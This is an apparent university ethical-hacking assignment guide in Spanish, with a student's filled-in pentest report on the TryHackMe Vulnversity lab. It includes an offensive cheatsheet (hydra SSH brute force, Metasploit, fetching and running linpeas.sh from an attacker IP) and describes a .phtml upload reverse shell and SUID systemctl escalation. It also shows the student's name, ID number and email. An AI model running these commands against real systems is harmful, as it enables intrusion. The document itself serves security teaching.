

Guía Práctica + Plantilla de Informe

Actividad Ao8 — Hacking Ético

Cliente: **INSECUR S.A.** — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
Docente: Ing.
Rodrigo Atilio Elgueta
Ciclo Académico Vigente

Índice

1. Contexto de la Contratación	3
2. Modelo de Trabajo: Núcleo + Sala de Elección	3
2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes).....	3
2.2. Nivel 2 — Sala de elección (una por estudiante).....	3
3. Configuración del Entorno	4
3.1. Requisitos previos.....	4
3.2. Conexión a la VPN de TryHackMe.....	4
3.3. Organización del trabajo en GitHub.....	5
4. Mecanismos de Control de Autenticidad	5
5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME	6
5.1. Flujo profesional del pentesting.....	6
5.2. Comandos base por fase (cheatsheet).....	6
5.3. Checklist de resolución.....	7
6. PARTE II: PLANTILLA DE INFORME (rellenable)	7
6.1. Datos generales.....	8
6.2. Pre-pentesting.....	8
6.3. Durante: Hallazgos por fase.....	9
6.4. Resumen ejecutivo de hallazgos.....	10
6.5. Post-pentesting: Recomendaciones.....	10
7. PARTE III: PROTOCOLO DE CONTINGENCIA	10

8. Anexos	11
9. Rúbrica de Evaluación (Ao8)	12
10. Fuentes y bibliografía	12

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.

Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.

Modalidad: Individual.

Repositorio de entrega: https://github.com/UCHSeguridad2026/TP_THM.git (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

- **Pentesting Fundamentals**
<https://tryhackme.com/room/pentestingfundamentals>
Metodología y fases del pentesting profesional.
- **Basic Pentesting**
<https://tryhackme.com/room/basicpentestingjt>
Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulnversity	Inicial	Web + explota-ci ^o n	Ideal como primera máquina Enumeración y escalada
Kenobi	Inicial-Media	Samba + Linux PE	
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media		Complementa Juice Shop
Blue	Media	Vulnerabilidades web Windows	Entorno Windows Lógica de negocio
Overpass	Media	PE (EternalBlue) Web + Linux PE	
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

- Si es tu primera vez con TryHackMe: **Vulnversity**.
- Si querés enfocarte en Windows: **Blue**.
- Si te interesa el hacking web: **OWASP Top 10**.
- Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en <https://tryhackme.com> (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: nmap, gobuster, hydra, burpsuite, metasploit, wireshark, netcat.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```
# 1. Descargar el archivo de configuracion desde THM ( Account > Access) # 2. Conectarse a la VPN
sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn
```

Verificación de conectividad

Una vez conectado, probá con ping a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

3.3. Organización del trabajo en GitHub

```

1 # Clonar el repositorio de la catedra
2 git clone https://github.com/UCHSeguridad2026/TP_THM.git
3 cd TP_THM
4 # Crear tu branch personal (usar tu ApellidoNombre) git checkout -b apellido
5 -nombre
6
7 # Crear la estructura de carpetas
8 mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post} mkdir -p bitacora
9 mkdir -p reportes

```

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debés cumplir con los siguientes mecanismos:

Username único de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Bitácora de comandos

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```

1 history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^]*\1=[REDACTED]/lg' > bitacora/
  clase_09_$(date +%Y %m %d).txt

```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

- El username de THM en la interfaz de la plataforma.
- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```

1 echo -n "thm{flag_obtenida}" | sha256sum

```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este

```
1 git config user.name "Tu Nombre Completo"
2 git config user.email "tu_email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME

5.1. Flujo profesional del pentesting

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Pre-engagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumper
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Post-explotación	Escalada de privilegios, movimiento lateral, persistencia LinPEAS, Win- PEAS, mimikatz	
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

5.2. Comandos base por fase (cheatsheet)

```
1 # RECONOCIMIENTO Y ESCANEO
2 nmap -sC -sV -oN bitacora/ nmap_inicial.txt <IP_OBJETIVO >
3 nmap -p- --min -rate 5000 -oN bitacora/ nmap_puertos.txt <IP_OBJETIVO >
4
5 # ENUMERACION WEB
6 gobuster dir -u http://<IP_OBJETIVO > -w /usr/share/ wordlists/dirb/common.txt \
7   -o bitacora/ gobuster.txt
8 nikto -h http://<IP_OBJETIVO > -o bitacora/nikto.txt
9
10 # ANALISIS DE TRAFICO
11 wireshark      # GUI
12 tcpdump -i tun0 -w bitacora/ captura_$(date + %H %M).pcap
13
14 # AUTENTICACION (solo si la sala lo autoriza y con limites)
15 # Preferi validar primero usuarios y politicas: documenta el alcance
```

9
10
11
12
13
14
15

```
16 hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f
17
18 # EXPLOTACION CON METASPLOIT (solo contra la IP asignada por THM) msfconsole
19 search <servicio> use
20 <exploit>
21 set RHOSTS <IP>
22 set LHOST tun0 exploit
23
24 # POST - EXPLOTACION LINUX (solo si la sala lo requiere) wget http://<tu-IP>:8000/
25 linpeas.sh
26 chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt
27
28
```

5.3. Checklist de resolución

Para cada máquina, recorra en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (searchsploit, Google, CVE De-tails).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar whoami, uname -a, sudo -l.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

Completá cada campo. Las celdas vacías se rellenan con texto o se dejan en blanco si no aplica.

El informe completo se entrega como reportes/informe_pentesting.pdf en tu branch.

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	Luciano Jofre.
DNI	47269448.
Username TryHackMe	L-Dev20.
Email institucional	jofreluciano@uch.edu.ar.
Sala de elección (Nivel 2)	Vulniversity.
Branch en GitHub	jofre-luciano
Fecha de inicio	6/10/2026.
Fecha de cierre	7/10/2026.

6.2. Pre-pentesting

Alcance del trabajo

El objetivo exclusivo y autorizado de la evaluación es la máquina virtual vulnerable designada para el laboratorio, bajo los siguientes parámetros:

- **Objetivo Principal:** Máquina virtual **Vulniversity** (TryHackMe).
- **Servicios analizados:**
 - Servidor web expuesto (Puerto HTTP analizado, ej. 3333).
 - Servicio de acceso remoto SSH (Puerto 22).
- **Componentes evaluados:** Directorios web públicos e internos (`/internal/`, rutas de subida de archivos), validación de extensiones y privilegios de sistema operativo locales de la máquina asignada.

Sistemas Excluidos (*Out-Of-Scope*)

Con el fin de mantener la integridad del entorno de pruebas y evitar afectaciones no deseadas, se declaran explícitamente **fuera del alcance** los siguientes elementos:

- **Infraestructura de red de TryHackMe:** Servidores de infraestructura general, VPN de conexión y pasarelas de red de la plataforma.
- **Máquinas ajenas al laboratorio:** Cualquier otra dirección IP, contenedor o host perteneciente a la red interna de práctica que no sea la máquina objetivo asignada
- **Ataques de Denegación de Servicio (DoS / DDoS):** Queda estrictamente prohibido la ejecución de pruebas de saturación, caídas de servicios o ataques que degraden la disponibilidad de la máquina o de la red del laboratorio.
- **Exfiltración masiva de datos externos:** Cualquier intento de interactuar con sistemas externos a la plataforma de pruebas.

Reglas de Enfrentamiento (ROE).

Horarios de Operación

- **Ventana de ejecución:** Dado que se trata de un entorno de laboratorio controlado (*stand-alone*) en una plataforma de práctica (*TryHackMe*), las

pruebas se encuentran autorizadas de forma continua (24/7) durante la vigencia de la instancia de la máquina virtual.

2. Técnicas Prohibidas

- **Denegación de Servicio (DoS / DDoS):** Queda estrictamente prohibido el uso de herramientas o técnicas de saturación de tráfico (como *flooding* masivo, ataques de denegación de servicio a la red o scripts diseñados para colapsar deliberadamente los servicios del host) que impidan el normal funcionamiento del laboratorio.
- **Ingeniería Social:** Se prohíbe cualquier intento de ataques dirigidos a usuarios externos, administradores de la plataforma o personal de soporte (phishing, vishing, etc.).
- **Ataques destructivos:** No está permitido alterar de forma permanente el hardware virtualizado, intentar desconfigurar la infraestructura hipervisora o destruir datos ajenos a las flags requeridas.

3. Límites de Tráfico y Herramientas

- **Fuzzing y Escaneos:** Los escaneos de puertos y directorios (Nmap, Gobuster/Dirb) deben limitarse al host objetivo autorizado, evitando tasas de paquetes excesivas que saturen la subred virtual del laboratorio.
- **Explotación controlada:** El uso de exploits y herramientas de post-explotación debe restringirse exclusivamente a la obtención de las evidencias requeridas (`user.txt`, `root.txt` y hashes correspondientes) y validación de vulnerabilidades.

4. Notificación y Gestión de Incidentes

- **Corte de aislamiento:** Si durante el proceso de pruebas se experimenta una caída inesperada del entorno, pérdida de conectividad con la VPN de la plataforma o corrupción del sistema operativo del laboratorio, el procedimiento estándar consiste en reiniciar la máquina virtual desde el panel de control de TryHackMe y reportar la incidencia técnica a los instructores o administradores del curso si el problema persiste.

Autorización

Por medio del presente documento, se deja constancia formal de que la realización de las prácticas de intrusión, auditoría de seguridad y análisis de vulnerabilidades descritas en este informe se llevaron a cabo bajo la **autorización expresa de la cátedra** y en cumplimiento de los lineamientos académicos establecidos para la materia.

- **Ámbito de Aplicación:** Las pruebas técnicas y ejercicios de simulación ofensiva se ejecutaron exclusivamente sobre los entornos controlados provistos por la plataforma **TryHackMe**, limitándose al objetivo asignado dentro del alcance académico autorizado.
- **Consentimiento y Legalidad:** Todo el procedimiento se desarrolló en un entorno aislado de pruebas (*sandboxed*), diseñado específicamente para la formación en ciberseguridad defensiva y ofensiva, garantizando la no afectación a sistemas productivos ni a redes de terceros ajenas al marco institucional.

Metodología Utilizada

Para el desarrollo de la presente auditoría y ejercicio de intrusión, se adoptó un

enfoque estructurado basado en estándares de la industria, garantizando un análisis metódico, trazable y seguro.

1. Marco Principal: PTES (Penetration Testing Execution Standard)

El proceso se dividió en las fases operativas definidas por PTES, las cuales guían el ciclo de vida completo de un test de intrusión:

- **Pre-engagement (Pre-Pentesting):** Definición de alcance, reglas de enfrentamiento y autorizaciones formales.
- **Intelligence Gathering (Reconocimiento / Enumeración):** Recopilación de información inicial, escaneo de puertos (Nmap) y descubrimiento de directorios web (Gobuster).
- **Vulnerability Analysis & Exploitation (Explotación):** Análisis de los vectores descubiertos y ejecución controlada del ataque (bypass de filtros de extensión y carga de shell inversa vía `.phtml`).
- **Post-Exploitation (Post-Explotación):** Escalada de privilegios local (`systemctl`), recolección de credenciales, descifrado de llaves (John the Ripper) y extracción de evidencias (`user.txt`, `root.txt`).

2. Marco de Referencia Web: OWASP Testing Guide

Dado que la vulnerabilidad de acceso inicial residió en una aplicación web, se aplicaron criterios metodológicos de **OWASP** (Open Worldwide Application Security Project), específicamente en lo referente a:

- Validación inadecuada de tipos de archivos (*Unrestricted File Upload*).
- Análisis de control de acceso y exposición de directorios sensibles.

6.3. Durante: Hallazgos por fase

Para cada hallazgo relevante, completá una fila en la siguiente tabla (repetí la tabla si necesitás más filas).

Hallazgo H-01: Subida de Archivos Insegura (RCE)

Campo	Valor
ID del hallazgo	H-01
Fase	☒ Explotación (Seleccionado)
Descripción	La aplicación web expone un panel de carga de archivos en el directorio <code>/internal/</code> que valida la extensión de forma deficiente, permitiendo eludir el filtro mediante el uso de la extensión <code>.phtml</code> . Esto habilita la subida de un script malicioso en PHP para lograr ejecución remota de comandos (RCE) con los privilegios del usuario web (<code>www-data</code>).
Componente afectado	Módulo de subida de archivos del servidor web (Puerto 3333).
Categoría (OWASP / CWE)	OWASP A03:2021 – Injection / CWE-434: Unrestricted File Upload of File with Dangerous Type
CVE (si aplica)	N/A (Vulnerabilidad de diseño/implementación en la aplicación)
CVSS estimado	☒ Crítico
Evidencia (captura / comando)	Subida de archivo <code>shell.phtml</code> y recepción de conexión inversa mediante Netcat en Kali Linux (<code>nc -lvp 4444</code>).
Herramienta	Navegador Web / Burp Suite (opcional) / Netcat

utilizada	
Impacto en la Tríada CIA	☒ Confidencialidad ☒ Integridad ☒ Disponibilidad
Salvaguarda propuesta	Implementar una lista blanca estricta de extensiones permitidas, validar el contenido real del archivo (Magic Bytes) y almacenar los archivos subidos fuera de la ruta web raíz o en un servidor de almacenamiento dedicado.
Riesgo residual tras aplicar	☒ Bajo

Hallazgo H-02: Exposición de Credenciales / Contraseñas en Texto Plano

Campo	Valor
ID del hallazgo	H-02
Fase	☒ Post-explotación (Seleccionado)
Descripción	Durante la fase de enumeración interna del sistema operativo, se encontró un archivo de respaldo de contraseñas (pass.bak) desatendido y accesible en texto plano dentro del directorio del usuario kay , exponiendo cadenas reutilizables y hashes sensibles.
Componente afectado	Sistema de archivos local del sistema operativo (/home/kay/pass.bak).
Categoría (OWASP / CWE)	OWASP A07:2021 – Identification and Authentication Failures / CWE-256: Unprotected Storage of Credentials

CVE (si aplica)	N/A
CVSS estimado	☒ Alto
Evidencia (captura / comando)	Comando ejecutado: <code>cat /home/kay/pass.bak</code> revelando la contraseña y respaldo en texto plano.
Herramienta utilizada	Comandos nativos de Linux (SSH / Bash)
Impacto en la Tríada CIA	☒ Confidencialidad
Salvaguarda propuesta	Eliminar permanentemente los archivos de respaldo y credenciales huérfanas del sistema de archivos. Aplicar políticas estrictas de control de permisos (chmod) y almacenamiento cifrado de secretos.
Riesgo residual tras aplicar	☒ Bajo

Hallazgo H-03: Escalada de Privilegios mediante Binario SUID Configurado Incorrectamente

Campo	Valor
ID del hallazgo	H-03
Fase	☒ Post-explotación (Seleccionado)

Descripción	El binario del sistema <code>systemctl</code> contaba con permisos SUID mal configurados o privilegios excesivos que permitían a usuarios sin privilegios interactuar con servicios del sistema a nivel root, posibilitando la lectura arbitraria de archivos restringidos (como <code>/root/root.txt</code>) o la ejecución de comandos con privilegios máximos.
Componente afectado	Binarios del sistema operativo y control de servicios (<code>/bin/systemctl</code>).
Categoría (OWASP / CWE)	CWE-250: Execution with Unnecessary Privileges / CWE-273: Improper Check for Dropped Privileges
CVE (si aplica)	N/A (Problema de configuración de permisos locales)
CVSS estimado	☒ Crítico
Evidencia (captura / comando)	Búsqueda y ejecución de binarios SUID: <code>find / -perm -u=s -type f 2>/dev/null</code> y posterior explotación para extraer el flag de root.
Herramienta utilizada	Comandos de auditoría de Linux
Impacto en la Tríada CIA	☒ Confidencialidad ☒ Integridad
Salvaguarda propuesta	Auditar y remover los bits SUID de los binarios del sistema que no los requieran estrictamente para su funcionamiento operativo estándar. Aplicar principio de mínimo privilegio.
Riesgo residual tras aplicar	☒ Bajo

6.4. Resumen ejecutivo de hallazgos

Severidad	Cantidad	ID de hallazgos
Crítico	2 1	H01 H03
Alto		H02
Medio		
Bajo		
Total	3	

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

1. Validación estricta de extensiones de archivos (Crítico): Implementar una lista blanca estricta (*whitelist*) en el servidor web para las subidas de archivos, bloqueando extensiones ejecutables o de script del lado del servidor como `.phtml`, `.php`, `.phar` o `.pht`, y renombrando los archivos subidos de forma aleatoria.
2. Revisión y endurecimiento de permisos SUID (Alto): Auditar periódicamente el sistema operativo en busca de binarios con permisos SUID innecesarios (como `systemctl`) y remover dichos privilegios a usuarios sin privilegios administrativos para evitar la escalada vertical.
3. Gestión segura de credenciales (Medio): Eliminar archivos de texto plano o respaldos de contraseñas (`pass.bak`) de los directorios de los usuarios y aplicar políticas robustas para el cifrado de llaves privadas SSH (passphrases complejas y no reutilizables).

Recomendaciones administrativas (políticas y procesos)

- Políticas de desarrollo seguro (Secure Coding): Capacitar al equipo de desarrollo en la prevención de vulnerabilidades de control de acceso y subida insegura de ficheros (OWASP Top 10).
- Revisiones periódicas de configuraciones: Establecer auditorías automatizadas de configuración base (*hardening*) en los servidores antes de su puesta en producción.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla

- Descripción: Durante las pruebas de validación de servicios web o la simulación de escalada de privilegios en el entorno de producción de INSECUR S.A., un comando incorrecto o un desbordamiento en el servidor web podría provocar la caída del servicio Apache o el bloqueo total del sistema operativo virtualizado.

Impacto sobre la continuidad del negocio

- Procesos afectados: Se vería interrumpido temporalmente el portal web corporativo y los sistemas de atención al cliente alojados en el servidor afectado.
- Tiempo estimado: El impacto duraría el tiempo que tome reiniciar el servicio o la instancia completa (estimado entre 5 y 15 minutos).

Plan de respuesta

1. **Activación:** La falla se detecta automáticamente mediante alertas de monitoreo de disponibilidad del servidor web o por reporte de los analistas de seguridad al perder la conexión SSH.
2. **Contención (Primeros 15 min):** Aislar el segmento de red afectado para evitar la propagación de anomalías y verificar el estado de los servicios mediante la consola de administración del hipervisor.
3. **Recuperación:** Reiniciar los servicios críticos o aplicar un *rollback* / restauración a partir del último respaldo (*snapshot* o backup íntegro de la máquina).
4. **Comunicación:** Notificar de inmediato al Responsable de Seguridad de la Información (CISO), a la dirección de IT y a los usuarios/clientes internos afectados.
5. **Post-mortem:** Documentar la causa raíz del fallo en un reporte de incidente y ajustar los procedimientos de prueba para evitar futuros cortes operativos.

RTO y RPO estimados

- **RTO (Recovery Time Objective):** 15 minutos.
- **RPO (Recovery Point Objective):** 24 horas (correspondiente a la periodicidad del último respaldo diario de configuración).

8. Anexos

Anexo A – Bitácora de comandos

bitacora anexada en git

Anexo B – Capturas de pantalla

Capturas anexadas en evidencias en git

Anexo C – Hashes de las flags obtenidas

```

1 53427179bcb765024b1c2a465823500241c68c8822e7f64a08b92a31d69dc298 -
2 d324bd433001e5bdfc39e04d794539c15b51982a5bf6fc78efea46369b7bf956 -
3 cfbc740435ad60030304080e35131ffcaf8ac5f71b65e002f5b546aa3cda7ce8 -

```

Anexo D – Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos con-trolados y con fines exclusivamente académicos.

Luciano jofre

Firma del estudiante

4/10/26

Fecha

9. Rúbrica de Evaluación (Ao8)

Criterio	Peso	Descripción
A. Recopilación de información	10 %	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25 %	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10 %	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25 %	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10 %	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en reportes/informe_pentesting.pdf.
- ☐ Evidencias en evidencias/ (por fase).
- ☐ Bitácoras en bitacora/.
- ☐ Branch nombrado apellido-nombre.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia main del repo de la cátedra.

10. Fuentes y bibliografía

- TryHackMe. *Pentesting Fundamentals*: [sala oficial](#)
- TryHackMe. *Basic Pentesting*: [sala oficial](#)
- OWASP Foundation. *Web Security Testing Guide (WSTG)*: [sitio oficial](#)
- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.^a ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing*. Amazon Digital Services LLC — KDP.
- White, A. & Clark, B. (2017). *BTfM: Blue Team Field Manual*. CreateSpace Independent Publishing Platform.